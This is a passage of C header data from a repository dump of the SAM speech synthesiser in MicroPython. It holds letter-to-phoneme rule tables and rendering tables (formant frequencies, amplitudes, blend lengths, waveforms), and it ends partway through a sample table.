'=','D','H','A','E','T'|0x80,\n' ','(','T','H','I','S',')',' ',        '=','D','H','I','H','S'|0x80,\n' ','(','T','H','E','Y',')',            '=','D','H','E','Y'|0x80,\n' ','(','T','H','E','R','E',')',        '=','D','H','E','H','R'|0x80,\n'(','T','H','E','R',')',                '=','D','H','E','R'|0x80,\n'(','T','H','E','I','R',')',            '=','D','H','E','H','R'|0x80,\n' ','(','T','H','A','N',')',' ',        '=','D','H','A','E','N'|0x80,\n' ','(','T','H','E','M',')',' ',        '=','D','H','A','E','N'|0x80,\n'(','T','H','E','S','E',')',' ',        '=','D','H','I','Y','Z'|0x80,\n' ','(','T','H','E','N',')',            '=','D','H','E','H','N'|0x80,\n'(','T','H','R','O','U','G','H',')',    '=','T','H','R','U','W','4'|0x80,\n'(','T','H','O','S','E',')',            '=','D','H','O','H','Z'|0x80,\n'(','T','H','O','U','G','H',')',' ',    '=','D','H','O','W'|0x80,\n'(','T','O','D','A','Y',')',            '=','T','U','X','D','E','Y'|0x80,\n'(','T','O','M','O',')','R','R','O','W','=','T','U','M','A','A','5'|0x80,\n'(','T','O',')','T','A','L',            '=','T','O','W','5'|0x80,\n' ','(','T','H','U','S',')',            '=','D','H','A','H','4','S'|0x80,\n'(','T','H',')',                        '=','T','H'|0x80,\n'#',':','(','T','E','D',')',            '=','T','I','X','D'|0x80,\n'S','(','T','I',')','#','N',            '=','C','H'|0x80,\n'(','T','I',')','O',                    '=','S','H'|0x80,\n'(','T','I',')','A',                    '=','S','H'|0x80,\n'(','T','I','E','N',')',                '=','S','H','U','N'|0x80,\n'(','T','U','R',')','#',                '=','C','H','E','R'|0x80,\n'(','T','U',')','A',                    '=','C','H','U','W'|0x80,\n' ','(','T','W','O',')',                '=','T','U','W'|0x80,\n'&','(','T',')','E','N',' ','='|0x80,\n'(','T',')',                            '=','T'|0x80,\n\n']','U'|0x80,\n' ','(','U',')',' ',                    '=','Y','U','W','4'|0x80,\n' ','(','U','N',')','I',                '=','Y','U','W','N'|0x80,\n' ','(','U','N',')',                    '=','A','H','N'|0x80,\n' ','(','U','P','O','N',')',            '=','A','X','P','A','O','N'|0x80,\n'@','(','U','R',')','#',                '=','U','H','4','R'|0x80,\n'(','U','R',')','#',                    '=','Y','U','H','4','R'|0x80,\n'(','U','R',')',                        '=','E','R'|0x80,\n'(','U',')','^',' ',                    '=','A','H'|0x80,\n'(','U',')','^','^',                    '=','A','H','5'|0x80,\n'(','U','Y',')',                        '=','A','Y','5'|0x80,\n' ','G','(','U',')','#','='|0x80,\n'G','(','U',')','%','='|0x80,\n'G','(','U',')','#',                    '=','W'|0x80,\n'#','N','(','U',')',                    '=','Y','U','W'|0x80,\n'@','(','U',')',                        '=','U','W'|0x80,\n'(','U',')',                            '=','Y','U','W'|0x80,\n\n']','V'|0x80,\n' ','(','V',')',' ',                    '=','V','I','Y','4'|0x80,\n'(','V','I','E','W',')',                '=','V','Y','U','W','5'|0x80,\n'(','V',')',                            '=','V'|0x80,\n\n']','W'|0x80,\n' ','(','W',')',' ',                    '=','D','A','H','4','B','U','L','Y','U','W'|0x80,\n' ','(','W','E','R','E',')',            '=','W','E','R'|0x80,\n'(','W','A',')','S','H',                '=','W','A','A'|0x80,\n'(','W','A',')','S','T',                '=','W','E','Y'|0x80,\n'(','W','A',')','S',                    '=','W','A','H'|0x80,\n'(','W','A',')','T',                    '=','W','A','A'|0x80,\n'(','W','H','E','R','E',')',            '=','W','H','E','H','R'|0x80,\n'(','W','H','A','T',')',                '=','W','H','A','H','T'|0x80,\n'(','W','H','O','L',')',                '=','/','H','O','W','L'|0x80,\n'(','W','H','O',')',                    '=','/','H','U','W'|0x80,\n'(','W','H',')',                        '=','W','H'|0x80,\n'(','W','A','R',')','#',                '=','W','E','H','R'|0x80,\n'(','W','A','R',')',                    '=','W','A','O','R'|0x80,\n'(','W','O','R',')','^',                '=','W','E','R'|0x80,\n'(','W','R',')',                        '=','R'|0x80,\n'(','W','O','M',')','A',                '=','W','U','H','M'|0x80,\n'(','W','O','M',')','E',                '=','W','I','H','M'|0x80,\n'(','W','E','A',')','R',                '=','W','E','H'|0x80,\n'(','W','A','N','T',')',                '=','W','A','A','5','N','T'|0x80,\n'A','N','S','(','W','E','R',')',        '=','E','R'|0x80,\n'(','W',')',                            '=','W'|0x80,\n\n']','X'|0x80,\n' ','(','X',')',' ',                    '=','E','H','4','K','R'|0x80,\n' ','(','X',')',                        '=','Z'|0x80,\n'(','X',')',                            '=','K','S'|0x80,\n\n']','Y'|0x80,\n' ','(','Y',')',' ',                    '=','W','A','Y','4'|0x80,\n'(','Y','O','U','N','G',')',            '=','Y','A','H','N','X'|0x80,\n' ','(','Y','O','U','R',')',            '=','Y','O','H','R'|0x80,\n' ','(','Y','O','U',')',                '=','Y','U','W'|0x80,\n' ','(','Y','E','S',')',                '=','Y','E','H','S'|0x80,\n' ','(','Y',')',                        '=','Y'|0x80,\n'F','(','Y',')',                        '=','A','Y'|0x80,\n'P','S','(','Y','C','H',')',            '=','A','Y','K'|0x80,\n'#',':','^','(','Y',')',                '=','I','Y'|0x80,\n'#',':','^','(','Y',')','I',            '=','I','Y'|0x80,\n' ',':','(','Y',')',' ',                '=','A','Y'|0x80,\n' ',':','(','Y',')','#',                '=','A','Y'|0x80,\n' ',':','(','Y',')','^','+',':','#',    '=','I','H'|0x80,\n' ',':','(','Y',')','^','#',            '=','A','Y'|0x80,\n'(','Y',')',                            '=','I','H'|0x80,\n\n']','Z'|0x80,\n' ','(','Z',')',' ',                    '=','Z','I','Y','4'|0x80,\n'(','Z',')',                            '=','Z'|0x80,\n'j'|0x80\n};\n\nconst char rules2[] =\n{\n'(','A',')',                            '='|0x80,\n'(','!',')',                            '=','.'|0x80,\n'(','\"',')',' ',                        '=','-','A','H','5','N','K','W','O','W','T','-'|0x80,\n'(','\"',')',                            '=','K','W','O','W','4','T','-'|0x80,\n'(','#',')',                            '=',' ','N','A','H','4','M','B','E','R'|0x80,\n'(','$',')',                            '=',' ','D','A','A','4','L','E','R'|0x80,\n'(','%',')',                            '=',' ','P','E','R','S','E','H','4','N','T'|0x80,\n'(','&',')',                            '=',' ','A','E','N','D'|0x80,\n'(','\\'',')',                           '='|0x80,\n'(','*',')',                            '=',' ','A','E','4','S','T','E','R','I','H','S','K'|0x80,\n'(','+',')',                            '=',' ','P','L','A','H','4','S'|0x80,\n'(',',',')',                            '=',','|0x80,\n' ','(','-',')',' ',                    '=','-'|0x80,\n'(','-',')',                            '='|0x80,\n'(','.',')',                            '=',' ','P','O','Y','N','T'|0x80,\n'(','/',')',                            '=',' ','S','L','A','E','4','S','H'|0x80,\n'(','0',')',                            '=',' ','Z','I','Y','4','R','O','W'|0x80,\n' ','(','1','S','T',')',                '=','F','E','R','4','S','T'|0x80,\n' ','(','1','0','T','H',')',            '=','T','E','H','4','N','T','H'|0x80,\n'(','1',')',                            '=',' ','W','A','H','4','N'|0x80,\n' ','(','2','N','D',')',                '=','S','E','H','4','K','U','N','D'|0x80,\n'(','2',')',                            '=',' ','T','U','W','4'|0x80,\n' ','(','3','R','D',')',                '=','T','H','E','R','4','D'|0x80,\n'(','3',')',                            '=',' ','T','H','R','I','Y','4'|0x80,\n'(','4',')',                            '=',' ','F','O','H','4','R'|0x80,\n' ','(','5','T','H',')',                '=','F','I','H','4','F','T','H'|0x80,\n'(','5',')',                            '=',' ','F','A','Y','4','V'|0x80,\n' ','(','6','4',')',' ',                '=','S','I','H','4','K','S','T','I','Y',' ','F','O','H','R'|0x80,\n'(','6',')',                            '=',' ','S','I','H','4','K','S'|0x80,\n'(','7',')',                            '=',' ','S','E','H','4','V','U','N'|0x80,\n' ','(','8','T','H',')',                '=','E','Y','4','T','H'|0x80,\n'(','8',')',                            '=',' ','E','Y','4','T'|0x80,\n'(','9',')',                            '=',' ','N','A','Y','4','N'|0x80,\n'(',':',')',                            '=','.'|0x80,\n'(',';',')',                            '=','.'|0x80,\n'(','<',')',                            '=',' ','L','E','H','4','S',' ','D','H','A','E','N'|0x80,\n'(','=',')',                            '=',' ','I','Y','4','K','W','U','L','Z'|0x80,\n'(','>',')',                            '=',' ','G','R','E','Y','4','T','E','R',' ','D','H','A','E','N'|0x80,\n'(','?',')',                            '=','?'|0x80,\n'(','@',')',                            '=',' ','A','E','6','T'|0x80,\n'(','^',')',                            '=',' ','K','A','E','4','R','I','X','T'|0x80,\n']','A'|0x80\n};\n\n\n//26 items. From 'A' to 'Z'\n// positions for mem62 and mem63 for each character\nconst unsigned char tab37489[] =\n{\n0, 149, 247, 162, 57, 197, 6, 126,\n199, 38, 55, 78, 145, 241, 85, 161,\n254, 36, 69, 45, 167, 54, 83, 46,\n71, 218\n};\n\nconst unsigned char tab37515[] =\n{\n125, 126, 126, 127, 128, 129, 130, 130,\n130, 132, 132, 132, 132, 132, 133, 135,\n135, 136, 136, 137, 138, 139, 139, 140,\n140, 140\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/lib/sam/RenderTabs.h",
    "content": "#ifndef RENDERTABS_H\n#define RENDERTABS_H\n\nconst unsigned char tab48426[5] = { 0x18, 0x1A, 0x17, 0x17, 0x17 };\n\nconst unsigned char tab47492[] =\n{\n\t0 , 0 , 0xE0 , 0xE6 , 0xEC , 0xF3 , 0xF9 , 0 , \n\t6 , 0xC , 6\n};\n\n\nconst unsigned char amplitudeRescale[] =\n{\n\t0 , 1 , 2 , 2 , 2 , 3 , 3 , 4 ,\n\t4 , 5 , 6 , 8 , 9 ,0xB ,0xD ,0xF, 0  //17 elements?\n};\n\n// Used to decide which phoneme's blend lengths. The candidate with the lower score is selected.\n// tab45856 \nconst unsigned char blendRank[] =\n{\n\t0 , 0x1F , 0x1F , 0x1F , 0x1F , 2 , 2 , 2 ,\n\t2 , 2 , 2 , 2 , 2 , 2 , 5 , 5 ,\n\t2 ,0xA , 2 , 8 , 5 , 5 ,0xB ,0xA ,\n\t9 , 8 , 8 , 0xA0 , 8 , 8 , 0x17 , 0x1F ,\n\t0x12 , 0x12 , 0x12 , 0x12 , 0x1E , 0x1E , 0x14 , 0x14 ,\n\t0x14 , 0x14 , 0x17 , 0x17 , 0x1A , 0x1A , 0x1D , 0x1D ,\n\t2 , 2 , 2 , 2 , 2 , 2 , 0x1A , 0x1D ,\n\t0x1B , 0x1A , 0x1D , 0x1B , 0x1A , 0x1D , 0x1B , 0x1A ,\n\t0x1D , 0x1B , 0x17 , 0x1D , 0x17 , 0x17 , 0x1D , 0x17 ,\n\t0x17 , 0x1D , 0x17 , 0x17 , 0x1D , 0x17 , 0x17 , 0x17\n};\n\n\n// Number of frames at the end of a phoneme devoted to interpolating to next phoneme's final value\n//tab45696\nconst unsigned char outBlendLength[] =\n{\n\t0 , 2 , 2 , 2 , 2 , 4 , 4 , 4 ,\n\t4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 ,\n\t4 , 4 , 3 , 2 , 4 , 4 , 2 , 2 ,\n\t2 , 2 , 2 , 1 , 1 , 1 , 1 , 1 ,\n\t1 , 1 , 1 , 1 , 1 , 1 , 2 , 2 ,\n\t2 , 1 , 0 , 1 , 0 , 1 , 0 , 5 ,\n\t5 , 5 , 5 , 5 , 4 , 4 , 2 , 0 ,\n\t1 , 2 , 0 , 1 , 2 , 0 , 1 , 2 ,\n\t0 , 1 , 2 , 0 , 2 , 2 , 0 , 1 ,\n\t3 , 0 , 2 , 3 , 0 , 2 , 0xA0 , 0xA0\n};\n\n\n// Number of frames at beginning of a phoneme devoted to interpolating to phoneme's final value\n// tab45776\nconst unsigned char inBlendLength[] =\n{\n\t0 , 2 , 2 , 2 , 2 , 4 , 4 , 4 ,\n\t4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 ,\n\t4 , 4 , 3 , 3 , 4 , 4 , 3 , 3 ,\n\t3 , 3 , 3 , 1 , 2 , 3 , 2 , 1 ,\n\t3 , 3 , 3 , 3 , 1 , 1 , 3 , 3 ,\n\t3 , 2 , 2 , 3 , 2 , 3 , 0 , 0 ,\n\t5 , 5 , 5 , 5 , 4 , 4 , 2 , 0 ,\n\t2 , 2 , 0 , 3 , 2 , 0 , 4 , 2 ,\n\t0 , 3 , 2 , 0 , 2 , 2 , 0 , 2 ,\n\t3 , 0 , 3 , 3 , 0 , 3 , 0xB0 , 0xA0 \n};\n\n\n// Looks like it's used as bit flags\n// High bits masked by 248 (11111000)\n//\n// 32: S*    241         11110001\n// 33: SH    226         11100010    \n// 34: F*    211         11010011\n// 35: TH    187         10111011\n// 36: /H    124         01111100\n// 37: /X    149         10010101\n// 38: Z*    1           00000001\n// 39: ZH    2           00000010\n// 40: V*    3           00000011\n// 41: DH    3           00000011\n// 43: **    114         01110010\n// 45: **    2           00000010\n// 67: **    27          00011011\n// 70: **    25          00011001\n// tab45936\nconst unsigned char sampledConsonantFlags[] =\n{\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0xF1 , 0xE2 , 0xD3 , 0xBB , 0x7C , 0x95 , 1 , 2 ,\n    3 , 3 , 0 , 0x72 , 0 , 2 , 0 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n    0 , 0 , 0 , 0x1B , 0 , 0 , 0x19 , 0 ,\n    0 , 0 , 0 , 0 , 0 , 0 , 0 , 0\n};\n\n\n//tab45056\nconst unsigned char freq1data[]=\n{\n\t0x00 ,0x13 ,0x13 ,0x13 ,0x13 , 0xA , 0xE ,0x12\n\t,  0x18 ,0x1A ,0x16 ,0x14 ,0x10 ,0x14 , 0xE ,0x12\n\t,\t0xE ,0x12 ,0x12 ,0x10 , 0xC , 0xE , 0xA ,0x12\n\t,\t0xE ,0xA  , 8  , 6  , 6  ,  6 ,  6 ,0x11\n\t,\t 6 , 6 , 6 , 6 ,0xE , 0x10 , 9 ,0xA\n\t,\t 8 ,0xA , 6 , 6 , 6 , 5 , 6 , 0\n\t,  0x12 , 0x1A , 0x14 , 0x1A , 0x12 ,0xC , 6 , 6\n\t,\t 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6\n\t,\t 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6\n\t,\t 6 ,0xA ,0xA , 6 , 6 , 6 , 0x2C , 0x13\n};\n\nunsigned char get_freq1(unsigned char pos, unsigned char mouth);\n\n//tab451356\nconst unsigned char freq2data[]=\n{\n\t0x00 , 0x43 , 0x43 , 0x43 , 0x43 , 0x54 , 0x48 , 0x42 ,\n\t0x3E , 0x28 , 0x2C , 0x1E , 0x24 , 0x2C , 0x48 , 0x30 ,\n\t0x24 , 0x1E , 0x32 , 0x24 , 0x1C , 0x44 , 0x18 , 0x32 ,\n\t0x1E , 0x18 , 0x52 , 0x2E , 0x36 , 0x56 , 0x36 , 0x43 ,\n\t0x49 , 0x4F , 0x1A , 0x42 , 0x49 , 0x25 , 0x33 , 0x42 ,\n\t0x28 , 0x2F , 0x4F , 0x4F , 0x42 , 0x4F , 0x6E , 0x00 ,\n\t0x48 , 0x26 , 0x1E , 0x2A , 0x1E , 0x22 , 0x1A , 0x1A ,\n\t0x1A , 0x42 , 0x42 , 0x42 , 0x6E , 0x6E , 0x6E , 0x54 ,\n\t0x54 , 0x54 , 0x1A , 0x1A , 0x1A , 0x42 , 0x42 , 0x42 ,\n\t0x6D , 0x56 , 0x6D , 0x54 , 0x54 , 0x54 , 0x7F , 0x7F\n};\n\nunsigned char get_freq2(unsigned char pos, unsigned char throat);\n\n\n//tab45216\nconst unsigned char freq3data[]=\n{\n\t0x00 , 0x5B , 0x5B , 0x5B , 0x5B , 0x6E , 0x5D , 0x5B ,\n\t0x58 , 0x59 , 0x57 , 0x58 , 0x52 , 0x59 , 0x5D , 0x3E ,\n\t0x52 , 0x58 , 0x3E , 0x6E , 0x50 , 0x5D , 0x5A , 0x3C ,\n\t0x6E , 0x5A , 0x6E , 0x51 , 0x79 , 0x65 , 0x79 , 0x5B ,\n\t0x63 , 0x6A , 0x51 , 0x79 , 0x5D , 0x52 , 0x5D , 0x67 ,\n\t0x4C , 0x5D , 0x65 , 0x65 , 0x79 , 0x65 , 0x79 , 0x00 ,\n\t0x5A , 0x58 , 0x58 , 0x58 , 0x58 , 0x52 , 0x51 , 0x51 ,\n\t0x51 , 0x79 , 0x79 , 0x79 , 0x70 , 0x6E , 0x6E , 0x5E ,\n\t0x5E , 0x5E , 0x51 , 0x51 , 0x51 , 0x79 , 0x79 , 0x79 ,\n\t0x65 , 0x65 , 0x70 , 0x5E , 0x5E , 0x5E , 0x08 , 0x01   \n};\n\nconst unsigned char ampl1data[] =\n{\n\t0 , 0 , 0 , 0 , 0 ,0xD ,0xD ,0xE ,\n\t0xF ,0xF ,0xF ,0xF ,0xF ,0xC ,0xD ,0xC ,\n\t0xF ,0xF ,0xD ,0xD ,0xD ,0xE ,0xD ,0xC ,\n\t0xD ,0xD ,0xD ,0xC , 9 , 9 , 0 , 0 ,\n\t0 , 0 , 0 , 0 , 0 , 0 ,0xB ,0xB ,\n\t0xB ,0xB , 0 , 0 , 1 ,0xB , 0 , 2 ,\n\t0xE ,0xF ,0xF ,0xF ,0xF ,0xD , 2 , 4 ,\n\t0 , 2 , 4 , 0 , 1 , 4 , 0 , 1 ,\n\t4 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n\t0 ,0xC , 0 , 0 , 0 , 0 ,0xF ,0xF\n};\n\nconst unsigned char ampl2data[] =\n{\n\t0 , 0 , 0 , 0 , 0 ,0xA ,0xB ,0xD ,\n\t0xE ,0xD ,0xC ,0xC ,0xB , 9 ,0xB ,0xB ,\n\t0xC ,0xC ,0xC , 8 , 8 ,0xC , 8 ,0xA ,\n\t8 , 8 ,0xA , 3 , 9 , 6 , 0 , 0 ,\n\t0 , 0 , 0 , 0 , 0 , 0 , 3 , 5 ,\n\t3 , 4 , 0 , 0 , 0 , 5 ,0xA , 2 ,\n\t0xE ,0xD ,0xC ,0xD ,0xC , 8 , 0 , 1 ,\n\t0 , 0 , 1 , 0 , 0 , 1 , 0 , 0 ,\n\t1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n\t0 ,0xA , 0 , 0 ,0xA , 0 , 0 , 0\n};\n\nconst unsigned char ampl3data[] =\n{\n\t0 , 0 , 0 , 0 , 0 , 8 , 7 , 8 ,\n\t8 , 1 , 1 , 0 , 1 , 0 , 7 , 5 ,\n\t1 , 0 , 6 , 1 , 0 , 7 , 0 , 5 ,\n\t1 , 0 , 8 , 0 , 0 , 3 , 0 , 0 ,\n\t0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ,\n\t0 , 0 , 0 , 0 , 0 , 1 ,0xE , 1 ,\n\t9 , 1 , 0 , 1 , 0 , 0 , 0 , 0 ,\n\t0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n\t0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,\n\t0 , 7 , 0 , 0 , 5 , 0 , 0x13 , 0x10\n};\n\n\n\n//tab42240\nconst unsigned char sinus[] =\n{\n\t0x00 , 0x00 , 0x00 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 ,\n\t0x10 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x30 ,\n\t0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x40 , 0x40 ,\n\t0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x50 , 0x50 , 0x50 ,\n\t0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x60 , 0x60 , 0x60 , \n\t0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 ,\n\t0x60 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 ,\n\t0x60 , 0x60 , 0x60 , 0x60 , 0x50 , 0x50 , 0x50 , 0x50 ,\n\t0x50 , 0x50 , 0x50 , 0x50 , 0x40 , 0x40 , 0x40 , 0x40 ,\n\t0x40 , 0x40 , 0x40 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 ,\n\t0x30 , 0x30 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 ,\n\t0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x00 , 0x00 ,\n\t0x00 , 0x00 , 0x00 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 ,\n\t0xF0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xD0 ,\n\t0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xC0 , 0xC0 ,\n\t0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xB0 , 0xB0 , 0xB0 ,\n\t0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xA0 , 0xA0 , 0xA0 ,\n\t0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 ,\n\t0xA0 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xA0 ,\n\t0xA0 , 0xA0 , 0xA0 , 0xA0 , 0xB0 , 0xB0 , 0xB0 , 0xB0 ,\n\t0xB0 , 0xB0 , 0xB0 , 0xB0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 ,\n\t0xC0 , 0xC0 , 0xC0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 ,\n\t0xD0 , 0xD0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 ,\n\t0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0x00 , 0x00 };\n\n//tab42496\nconst unsigned char rectangle[] =\n{\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 , 0x90 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 ,\n\t0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70\n};\n\n\n//tab42752\nconst unsigned char multtable[] =\n{\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,\n\t0x00 , 0x00 , 1 , 1 , 2 , 2 , 3 , 3 ,\n\t4 , 4 , 5 , 5 , 6 , 6 , 7 , 7 ,\n\t0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 ,\n\t8 , 9 ,0xA ,0xB ,0xC ,0xD ,0xE ,0xF ,\n\t0x00 , 1 , 3 , 4 , 6 , 7 , 9 ,0xA ,\n\t0xC ,0xD ,0xF , 0x10 , 0x12 , 0x13 , 0x15 , 0x16 ,\n\t0x00 , 2 , 4 , 6 , 8 ,0xA ,0xC ,0xE ,\n\t0x10 , 0x12 , 0x14 , 0x16 , 0x18 , 0x1A , 0x1C , 0x1E ,\n\t0x00 , 2 , 5 , 7 ,0xA ,0xC ,0xF , 0x11 ,\n\t0x14 , 0x16 , 0x19 , 0x1B , 0x1E , 0x20 , 0x23 , 0x25 ,\n\t0x00 , 3 , 6 , 9 ,0xC ,0xF , 0x12 , 0x15 ,\n\t0x18 , 0x1B , 0x1E , 0x21 , 0x24 , 0x27 , 0x2A , 0x2D ,\n\t0x00 , 0x03 , 0x07 , 0x0A , 0x0E , 0x11 , 0x15 , 0x18 ,\n\t0x1C , 0x1F , 0x23 , 0x26 , 0x2A , 0x2D , 0x31 , 0x34 ,\n\t0x00 , 0xFC , 0xF8 , 0xF4 , 0xF0 , 0xEC , 0xE8 , 0xE4 ,\n\t0xE0 , 0xDC , 0xD8 , 0xD4 , 0xD0 , 0xCC , 0xC8 , 0xC4 ,\n\t0x00 , 0xFC , 0xF9 , 0xF5 , 0xF2 , 0xEE , 0xEB , 0xE7 ,\n\t0xE4 , 0xE0 , 0xDD , 0xD9 , 0xD6 , 0xD2 , 0xCF , 0xCB ,\n\t0x00 , 0xFD , 0xFA , 0xF7 , 0xF4 , 0xF1 , 0xEE , 0xEB ,\n\t0xE8 , 0xE5 , 0xE2 , 0xDF , 0xDC , 0xD9 , 0xD6 , 0xD3 ,\n\t0x00 , 0xFD , 0xFB , 0xF8 , 0xF6 , 0xF3 , 0xF1 , 0xEE ,\n\t0xEC , 0xE9 , 0xE7 , 0xE4 , 0xE2 , 0xDF , 0xDD , 0xDA ,\n\t0x00 , 0xFE , 0xFC , 0xFA , 0xF8 , 0xF6 , 0xF4 , 0xF2 ,\n\t0xF0 , 0xEE , 0xEC , 0xEA , 0xE8 , 0xE6 , 0xE4 , 0xE2 ,\n\t0x00 , 0xFE , 0xFD , 0xFB , 0xFA , 0xF8 , 0xF7 , 0xF5 ,\n\t0xF4 , 0xF2 , 0xF1 , 0xEF , 0xEE , 0xEC , 0xEB , 0xE9 ,\n\t0x00 , 0xFF , 0xFE , 0xFD , 0xFC , 0xFB , 0xFA , 0xF9 ,\n\t0xF8 , 0xF7 , 0xF6 , 0xF5 , 0xF4 , 0xF3 , 0xF2 , 0xF1 ,\n\t0x00 , 0xFF , 0xFF , 0xFE , 0xFE , 0xFD , 0xFD , 0xFC ,\n\t0xFC , 0xFB , 0xFB , 0xFA , 0xFA , 0xF9 , 0xF9 , 0xF8   \n};\n\n//random data ?\nconst unsigned char sampleTable[0x500] =\n{\n\t//00\n\n\t0x38 , 0x84 , 0x6B , 0x19 , 0xC6 , 0x63 ,  0x18 , 0x86\n\t,  0x73 , 0x98 , 0xC6 , 0xB1 , 0x1C , 0xCA , 0x31 , 0x8C\n\t,  0xC7 , 0x31 , 0x88 , 0xC2 